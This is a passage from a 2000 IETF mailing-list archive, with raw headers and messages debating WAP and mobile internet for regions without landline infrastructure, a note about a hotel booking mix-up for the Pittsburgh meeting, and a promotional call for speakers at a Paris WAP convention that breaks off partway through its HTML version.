Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> For some countries it is more feasible for people to
> use mobile technology than to try to put in place the
> fiber, and copper necessary to allow them to communicate
> using some of what might be called the more traditional
> methods.

If they are that lacking in mere wires, they probably aren't in a position
to profit from access to the Internet in the first place.  That is, if they
lack telephones (and that's all they need for broadband, or at least it's
the better part of the battle), why would they be surfing the Web?  First
things first.

> WAP, and mobile technology is a necessary component to
> the future of the global economy.

Countries without landlines are not going to be a part of the global economy
unless they upgrade in a major way very soon.

Actually this just reinforces my point.  Countries have no infrastructure at
all and already we are trying to sell them WAP.  Hmm.



From owner-ietf-outbound  Thu Jun 29 19:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22010
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 19:00:03 -0400 (EDT)
Received: from atkielski.com (atkielski.com [161.58.232.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21865
	for <ietf@ietf.org>; Thu, 29 Jun 2000 18:50:19 -0400 (EDT)
Received: from AStLambert101214 (ASt-Lambert-101-2-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id AAA58709; Fri, 30 Jun 2000 00:50:21 +0200 (CEST)
Message-ID: <00d001bfe21c$67920e10$0a00000a@abo.wanadoo.fr>
From: "Anthony Atkielski" <anthony@atkielski.com>
To: <ietf@ietf.org>
References: <17021.962314672@mundamutti.cs.mu.OZ.AU>
Subject: Re: WAP - What A Problem... 
Date: Fri, 30 Jun 2000 00:50:19 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> But it would be a grave mistake to cease working on
> future developments while waiting for everyone to be
> able to share what we have now ...

It hasn't gotten as far as sharing.  We don't even have the "old" stuff in
place and running, and already people want to replace it.

You know, I'd much rather have greatly improved cellular-telephone voice
quality than a tiny screen on a tiny phone for Internet services that I'll
never use.  I'd like to see the older technologies actually implemented and
working smoothly before they are thrown away in favor of ever newer
technologies.

Right now I have a DSL line that is _supposed_ to allow 1000 kbps on the
downlink.  However, since nobody bothers to update the infrastructure behind
it, sometimes I get more like 32 kbps on the line.  And now people are
talking about wireless connections.  Well, I'd rather keep my DSL and see it
actually run at its rated speed than adopt yet another jury-rigged lab
experiment that will be declared obsolete before it even works correctly.
Some of us have work to do, and we don't have the luxury or desire to just
sit around trying to imagine "what next?"

> ... and that's not looking form the perspective of those
> who already have and don't want to be held back.

I want what I've already been promised before they get what they are still
dreaming about.

> This doesn't mean that we should stop assisting the
> rest of the world ...

Why the rest of the world?  Look in your own backyard.  How many people do
you know with even a broadband connection?  For an accurate assessment, stop
people on the street and ask them if they have broadband Internet access,
and see what numbers you come up with.

> ... but neither should be be slowing down on advances
> just because some don't yet have what we currently use -
> if we're good enough, they may never need to.

If we don't stop dreaming and start actually implementing, they'll never
have anything at all.



From owner-ietf-outbound  Thu Jun 29 19:50:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA23134
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 19:50:02 -0400 (EDT)
Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23110
	for <ietf@ietf.org>; Thu, 29 Jun 2000 19:49:08 -0400 (EDT)
Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38])
	(authenticated)
	by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id e5TNn2w09020
	for <ietf@ietf.org>; Thu, 29 Jun 2000 19:49:02 -0400 (EDT)
Message-Id: <200006292349.e5TNn2w09020@ginger.cmf.nrl.navy.mil>
To: ietf@ietf.org
Subject: Possible mix-up in hotel assignment for Pittsburgh IETF
X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4
	WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d
	gD\SW #]iN_U0 KUmOR.P<|um5yP<ea#^"SJK;C*}fMI;Mv(aiO2z~9n.w?@\>kEpSD@*e`
Date: Thu, 29 Jun 2000 19:49:01 -0400
From: Ken Hornstein <kenh@cmf.nrl.navy.mil>
X-Loop: ietf@ietf.org

I was one of the people who got bumped from the DoubleTree to the Hilton.
When I called today to verify my reservation at the Hilton, I discovered
that there were _two_ Kenneth Hornstein's that have a reservation at
the Hilton; one with my address, and another one with a different Amex
number who was from Santa Clara, CA.

I am suspecting that there was an error when people got bumped from the
DoubleTree to the Hilton, and my name got assigned to someone else's
information.  If you were one of the people who got bumped from the
DoubleTree to the Hilton, you're from Santa Clara, and you used an Amex
card, I'd advise checking your reservation at the Hilton.

(And if there _is_ a Kenneth Hornstein who is from Santa Clara and is
going to the Pittsburgh IETF, my apologies :-) ).

--Ken



From owner-ietf-outbound  Thu Jun 29 22:00:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA25304
	for ietf-outbound.10@ietf.org; Thu, 29 Jun 2000 22:00:01 -0400 (EDT)
Received: from europe.std.com (europe-e.std.com [192.74.137.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25276
	for <ietf@ietf.org>; Thu, 29 Jun 2000 21:56:18 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id VAA12571;
	Thu, 29 Jun 2000 21:56:18 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id VAA14396;
	Thu, 29 Jun 2000 21:56:17 -0400 (EDT)
Message-Id: <200006300156.VAA14396@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: l.wood@eim.surrey.ac.uk, J.Crowcroft@CS.UCL.AC.UK
cc: ietf@ietf.org
Subject: Re: WAP - What A Problem...
Date: Thu, 29 Jun 2000 21:56:17 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org


> Do you mean that WAP is:
> - overhyped?
...

Rats. I thought he ment the bit about the frog genes gone awry.
Self-pollenating dino-phibs. Oh well, back to the data.

Cheers,
Eric



From owner-ietf-outbound  Fri Jun 30 01:50:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA03835
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 01:50:02 -0400 (EDT)
Received: from tieke1.tieke.fi (fw.tieke.fi [195.197.205.68])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03795
	for <ietf@ietf.org>; Fri, 30 Jun 2000 01:43:11 -0400 (EDT)
Received: by TIEKE1 with Internet Mail Service (5.5.2650.21)
	id <NX9LGW8D>; Fri, 30 Jun 2000 08:46:42 +0300
Message-ID: <621574AE86FAD3118D1D0000E22138A903E740@TIEKE1>
From: Erkki Kolehmainen <erkki.kolehmainen@tieke.fi>
To: "'Anthony Atkielski'" <anthony@atkielski.com>, ietf@ietf.org
Subject: RE: WAP - What A Problem...
Date: Fri, 30 Jun 2000 08:46:35 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="windows-1252"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA03795
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

-----Original Message-----
From: Anthony Atkielski [mailto:anthony@atkielski.com]
Sent: Friday, June 30, 2000 12:42 AM
To: ietf@ietf.org
Subject: Re: WAP - What A Problem...


> For some countries it is more feasible for people to
> use mobile technology than to try to put in place the
> fiber, and copper necessary to allow them to communicate
> using some of what might be called the more traditional
> methods.

If they are that lacking in mere wires, they probably aren't in a position
to profit from access to the Internet in the first place.  That is, if they
lack telephones (and that's all they need for broadband, or at least it's
the better part of the battle), why would they be surfing the Web?  First
things first.

> WAP, and mobile technology is a necessary component to
> the future of the global economy.

Countries without landlines are not going to be a part of the global economy
unless they upgrade in a major way very soon.

Actually this just reinforces my point.  Countries have no infrastructure at
all and already we are trying to sell them WAP.  Hmm.

EIK:

I'm somewhat surprised. Are you saying that everybody should go through the
same evolutionary steps e.g. for the telephone system and not start using
new technologies as they become available?
Wireless communication, albeit typically slower and more error prone, is
both faster and cheaper to install (and thus much more practical) in several
parts of the world than conventional land lines. Furthermore, for good
reasons e.g. in Finland, a country where fixed wire telephony has been well
established and highly popular, the mobile phone density has already
surpassed it and exceeds 50 % of the population.
__________________________________________
Erkki I. Kolehmainen
TIEKE Tietotekniikan kehittämiskeskus ry
TIEKE Finnish Information Technology Development Centre 
Salomonkatu 17 A, 10th floor, FIN-00100 HELSINKI, FINLAND
Phone: +358 9 4763 0301, Fax: +358 9 4763 0399
http://www.tieke.fi    erkki.kolehmainen@tieke.fi



From owner-ietf-outbound  Fri Jun 30 06:22:06 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA12207
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 06:19:58 -0400 (EDT)
Received: from mail.sollea.com ([195.154.125.13])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA12131
	for <ietf@ietf.org>; Fri, 30 Jun 2000 06:09:06 -0400 (EDT)
Received: from oemcomputer [193.251.41.249] by mail.sollea.com
  (SMTPD32-6.00) id ADEF591501A6; Fri, 30 Jun 2000 13:01:03 +0200
Message-ID: <057401bfe27c$53495480$0a00000a@oemcomputer>
From: "Rosie Drugeault" <rosie@ptolemee.com>
To: <ietf@ietf.org>
Subject: Speakers - WAP CONVENTION - The European Event
Date: Fri, 30 Jun 2000 12:14:04 +0200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0545_01BFE28C.AEA65B60"
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0545_01BFE28C.AEA65B60
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0546_01BFE28C.AEA65B60"


------=_NextPart_001_0546_01BFE28C.AEA65B60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

We are currently inviting Speaker applications for:

=20
WAP CONVENTION 2000
- Mobile Services -

The European Event has been scheduled for:

21 + 22 November, 2000
Cit=E9 des Sciences et de l'Industrie
PARIS
=20
The current Mobile Internet market explosion is without comparison.=20
Widespread use of the TV set took over 20 years to develop, computers =
took 10 years, and mobile phone use developed in just a few months. The =
place for Mobile Internet in the daily lives of every one of us is =
becoming increasingly important. =20
The mobile revolution is happening now.=20
=20
Join the key European and International players. Take the stage at WAP =
CONVENTION 2000.=20
Conference themes are attached, and also included at the end of this =
mail.=20
=20
To apply for a Speaker position, or for further information about the =
WAP CONVENTION 2000 Exhibition and Sponsor programs, please =
contact.......
=20
Rosie Drugeault
Conference Manager
Dir Tel: +33 1 43 14 49 64
rosie@ptolemee.com
=20
Emmanuel Parrou
Exhibition Sales Manager
Direct Tel: +33 1 47 70 45 82
parrou@ptolemee.com
=20
WAP CONVENTION is created by Ptol=E9m=E9e, the organisers of NARROWCAST. =


****************
WAP CONVENTION 2000 - CONFERENCE THEMES
=20
DAY 1


Conference Room 1 :

10:30am =96 12:00 midday

Mobile Internet and the Law=20

The deployment of Mobile terminals (Smart phone, e-book, PDA, radio, =
game consoles etc) poses new legal questions. The protection of personal =
information, content ownership, distribution rights=85..=20

Can an analogy be made with the jurisprudence of the Internet ?=20

2:00pm =96 3:30pm

MAd : " Mobile Advertising "

Mobile Internet and WAP are encouraging new forms of expression for =
advertisers. What methods can be used for mobile advertising ? From =
customised messages to 1-to-1 marketing, which method is adapted to =
which terminal ?

4:00pm =96 5:30pm

M-Marketing=20

Marketing is adopting Mobile Internet. What are the emerging trends ? =
What are the new opportunities made available to marketers by the =
development of Mobile Internet ?

=20

Conference Room 2 :

10:30am =96 12:00 midday

WAP is dead, hooray for WAP !=20

The arrival of WAP on mobile telephones is just the very first step of a =
major technological tidal wave. GPRS, followed by UMTS, will then serve =
to amplify and improve access to the multitude of services proposed. =
Future prospects.

2:00pm =96 3:30pm

The Mobile Internet Market=20

The market is developing at a frenetic pace. What are the principal =
elements and who are the actors ? Are we heading towards a " player war =
", similar to the war already seen between browsers ? What are the =
consequences?

4:00pm =96 5:30pm

Mobile Internet : the New Kids on the Block.=20

Six innovative start-ups present their companies.

Day 2

Conference Room 1 :

10:30am =96 12:00 midday=20

The Multi-Access Portal=20

Each terminal (PDA, Smart phone, computer, television, radio, game =
console=85) has its own specifications. The user can now create his own =
menu according to content needs, location, and time available. Which =
content to cater for specific needs ? Which services for which terminals =
?

2:00pm =96 3:30pm

Value-added Services for Mobile Terminals=20

The deployment of Mobile Internet and the development of broadband =
allows the distribution of new content. Which services should be =
proposed to professionals and the general public ? Packages and pricing.

4:00pm =96 5:30pm

M-Business=20

A step forward from e-business, M-business is developing at the rapid =
rate of the evolution of terminals. What applications are currently in =
use ? Trends and prospects.

=20

Conference Room 2 :

10:30am =96 12:00 midday=20

New Content and Mobile Terminals=20

With the arrival of GPRS and then UMTS, " rich media " will take over =
mobile terminals. What is the content of tomorrow ? Who are the new =
producers and distributors ?=20

2:00pm =96 3:30pm

Corporate Portal=20

>From ASP offers to " knowledge management ", the corporate portal is the =
marketplace for business information. Will the multiplication of mobile =
terminals and corporate portals finally set the scene for the =
development of the " mobile offfice " ?

4:00pm =96 5:30pm

Virtual Communities and Mobile " Tribes "=20

How is a mobile virtual community developed ? What are the existing =
applications ? How to pass from a " fixed community " to a " mobile =
community ".=20

***********************************




------=_NextPart_001_0546_01BFE28C.AEA65B60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"><!DOCTYPE HTML =
PUBLIC "-//W3C//DTD W3 HTML//EN">
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>We are currently inviting Speaker =
applications=20
for:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>&nbsp;</DIV></FONT><FONT =
face=3DArial size=3D2>
<DIV>
<DIV align=3Dcenter>
<DIV align=3Dcenter><FONT color=3D#000000 face=3D"" =
size=3D5><STRONG><FONT=20
face=3DArial>WAP CONVENTION 2000</FONT></STRONG></FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D2><STRONG>- Mobile=20
Services -</STRONG></FONT></DIV></DIV>
<DIV align=3Dcenter>&nbsp;</DIV>
<DIV align=3Dcenter>The European Event has been scheduled for:</DIV>
<DIV align=3Dcenter>&nbsp;</DIV>
<DIV align=3Dcenter><STRONG><FONT color=3D#000000 face=3DArial =
size=3D4>21 + 22=20
<STRONG><FONT color=3D#000000 face=3DArial =
size=3D4>November</FONT></STRONG>,=20
2000</FONT></STRONG><FONT face=3DArial></FONT></DIV>
<DIV align=3Dcenter><FONT size=3D2><FONT face=3DArial>Cit&eacute; des =
Sciences et de=20
l'Industrie</FONT></FONT></DIV>
<DIV align=3Dcenter><STRONG><FONT face=3DArial =
size=3D4>PARIS</FONT></STRONG></DIV>
<DIV align=3Dcenter><STRONG><FONT face=3DArial =
size=3D4></FONT></STRONG><FONT=20
color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial size=3D3>The =
current Mobile=20
Internet market explosion is without comparison. </FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D3>Widespread use of the TV=20
set took over 20 years to develop, computers took 10 years, and mobile =
phone use=20
developed in just a few months. The place for Mobile Internet in the =
daily lives=20
of every one of us is becoming increasingly important.&nbsp; =
</FONT></DIV>
<DIV align=3Dcenter><FONT color=3D#000000 face=3DArial size=3D3>The =
mobile revolution is=20
happening now. </FONT></DIV></FONT>
<DIV align=3Dcenter><FONT size=3D2>
<DIV align=3Dleft><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV align=3Dleft><FONT size=3D2>Join the key European and International =
players.=20
Take the stage at WAP CONVENTION 2000. </FONT></DIV>
<DIV align=3Dleft><FONT size=3D2>Conference themes are attached, and =
also included=20
at the end of this mail. </FONT></DIV>
<DIV align=3Dleft><FONT size=3D2></FONT></FONT>&nbsp;</DIV></DIV></DIV>
<DIV><FONT size=3D2>To apply for a Speaker position, or for further =
information=20
about the WAP CONVENTION 2000 Exhibition and Sponsor programs, please=20
contact.......</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV>
<DIV><FONT color=3D#000000 face=3D""><FONT size=3D2><FONT =
face=3DArial>Rosie=20
Drugeault</FONT></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D""><FONT size=3D2><FONT=20
face=3DArial></FONT></FONT></FONT><FONT size=3D2>Conference =
Manager</FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Dir Tel: +33 1 43 14 49=20
64</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2><A=20
href=3D"mailto:rosie@ptolemee.com">rosie@ptolemee.com</A></FONT></FONT></=
DIV>
<DIV><FONT face=3DArial><FONT size=3D2></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Emmanuel =
Parrou</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2>Exhibition Sales =
Manager</FONT></FONT><FONT=20
size=3D2><FONT size=3D2><FONT size=3D2><FONT size=3D2></DIV>
<DIV>
<DIV>
<DIV><FONT size=3D2>Direct Tel: +33 1 47 70 45 82</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"mailto:parrou@ptolemee.com">parrou@ptolemee.com</A></FONT></DIV>
<DIV><FONT size=3D2></FONT></FONT></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>WAP CONVENTION is created by Ptol&eacute;m&eacute;e, =
the=20
organisers of NARROWCAST.&nbsp;</FONT></DIV></DIV></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D5><FONT=20
size=3D2>****************<BR></FONT><STRONG><FONT color=3D#000000 =
face=3DArial=20
size=3D4>WAP CONVENTION 2000 - CONFERENCE =
THEMES</FONT></STRONG></FONT></DIV>
<DIV><FONT face=3DArial size=3D5><STRONG><FONT color=3D#000000 =
face=3DArial=20
size=3D4></FONT></FONT><FONT color=3D#000000><FONT face=3DArial><FONT=20
size=3D2></FONT></FONT></FONT></STRONG>&nbsp;</DIV>
<DIV><FONT size=3D4><U><FONT face=3DArial size=3D4>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>DAY =
1</STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial=20
size=3D3><STRONG></STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial =
size=3D3><STRONG>Conference Room 1=20
:</STRONG></FONT></P></U>
<P><FONT size=3D3><FONT face=3DArial><FONT =
color=3D#000000><STRONG>10:30am &ndash;=20
12:00</FONT></FONT></FONT><FONT color=3D#000000><FONT face=3DArial><FONT =
size=3D3>=20
midday</FONT></FONT></FONT></STRONG></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Mobile Internet =
and the Law=20
</STRONG></FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial size=3D3>The =
deployment of Mobile=20
terminals (Smart phone, e-book, PDA, radio, game consoles etc) poses new =
legal=20
questions. The protection of personal information, content ownership,=20
distribution rights&hellip;.. </FONT></P>
<P align=3Djustify><FONT color=3D#000000 face=3DArial size=3D3>Can an =
analogy be made=20
with the jurisprudence of the Internet ? </FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>MAd : &quot; =
Mobile Advertising=20
&quot;</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Mobile Internet and WAP =
are encouraging=20
new forms of expression for advertisers. What methods can be used for =
mobile=20
advertising ? From customised messages to 1-to-1 marketing, which method =
is=20
adapted to which terminal ?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>M-Marketing=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Marketing is adopting =
Mobile Internet.=20
What are the emerging trends ? What are the new opportunities made =
available to=20
marketers by the development of Mobile Internet ?</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 2 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00=20
midday</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>WAP is dead, =
hooray for WAP !=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The arrival of WAP on =
mobile telephones=20
is just the very first step of a major technological tidal wave. GPRS, =
followed=20
by UMTS, will then serve to amplify and improve access to the multitude =
of=20
services proposed. Future prospects.</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>The Mobile =
Internet Market=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The market is developing =
at a frenetic=20
pace. What are the principal elements and who are the actors ? Are we =
heading=20
towards a &quot; player war &quot;, similar to the war already seen =
between=20
browsers ? What are the consequences?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>4:00pm &ndash;=20
5:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Mobile Internet : =
the New Kids=20
on the Block. </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Six innovative start-ups =
present their=20
companies.</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Day =
2</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 1 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00 midday=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><FONT color=3D#000000 =
face=3DArial=20
size=3D3><STRONG>The Multi-Access Portal </STRONG></FONT></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>Each terminal (PDA, Smart =
phone,=20
computer, television, radio, game console&hellip;) has its own =
specifications.=20
The user can now create his own menu according to content needs, =
location, and=20
time available. Which content to cater for specific needs ? Which =
services for=20
which terminals ?</FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Value-added =
Services for Mobile=20
Terminals </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>The deployment of Mobile =
Internet and=20
the development of broadband allows the distribution of new content. =
Which=20
services should be proposed to professionals and the general public ? =
Packages=20
and pricing.</FONT></P>
<P><STRONG><FONT color=3D#000000 face=3DArial size=3D3>4:00pm &ndash;=20
5:30pm</FONT></STRONG></P>
<P><STRONG><FONT color=3D#000000 face=3DArial size=3D3>M-Business =
</FONT></STRONG></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>A step forward from =
e-business,=20
M-business is developing at the rapid rate of the evolution of =
terminals. What=20
applications are currently in use ? Trends and prospects.</FONT></P><U>
<P><FONT color=3D#000000 face=3DArial size=3D3></FONT>&nbsp;</P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Conference Room 2 =

:</STRONG></FONT></P></U>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>10:30am &ndash; =
12:00 midday=20
</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>New Content and =
Mobile=20
Terminals </STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3>With the arrival of GPRS =
and then UMTS,=20
&quot; rich media &quot; will take over mobile terminals. What is the =
content of=20
tomorrow ? Who are the new producers and distributors ? </FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>2:00pm &ndash;=20
3:30pm</STRONG></FONT></P>
<P><FONT color=3D#000000 face=3DArial size=3D3><STRONG>Corporate Portal=20
</STRONG></FONT></P>
